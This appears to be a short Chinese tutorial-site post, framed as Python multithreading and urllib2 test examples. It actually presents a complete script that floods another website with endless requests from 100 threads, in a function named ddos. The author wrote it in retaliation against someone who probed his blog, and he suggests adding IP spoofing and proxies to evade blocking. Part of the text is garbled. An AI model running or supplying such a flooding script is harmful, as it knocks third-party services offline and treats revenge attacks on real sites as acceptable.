一聚教程网:一个值得你收藏的教程网站

最新下载

热门教程

python多线程与urllib2几个测试例子

时间:2014-10-25 编辑:简简单单 来源:一聚教程网

发现有人居然在试探下载我博客的源码包,查了那家伙的IP,发现有一个网站,所以简单写了个python脚本,利用python的threading与urllib2库进行疯狂请求,不知道这算不算是攻击的一种,反正在运行时它的站倒是?绰?摹!9??!!?/p>

 代码如下 复制代码

#coding: gbk
import urllib2
import os
import threading
import time
def ddos():
    while True:
        #我还是把人家地址给匿了吧。。。
        req = urllib2.urlopen('http://www.111com.net /search/?type=0&keywords=%E7%A8%8B%E5%BA%8F')
       
        print '当前攻击线程数:'+str(threading.activeCount()) + ' 返回状态码:'+str(req.code)+'   ' + time.ctime()

threads=[]
for i in xrange(100):
        t=threading.Thread(target=ddos,args=())
        threads.append(t)
for i in xrange(100):
        threads[i].start()
for i in xrange(100):
        threads[i].join()

接下来还可以加入IP伪造、IP代理来防止他屏蔽IP。

热门栏目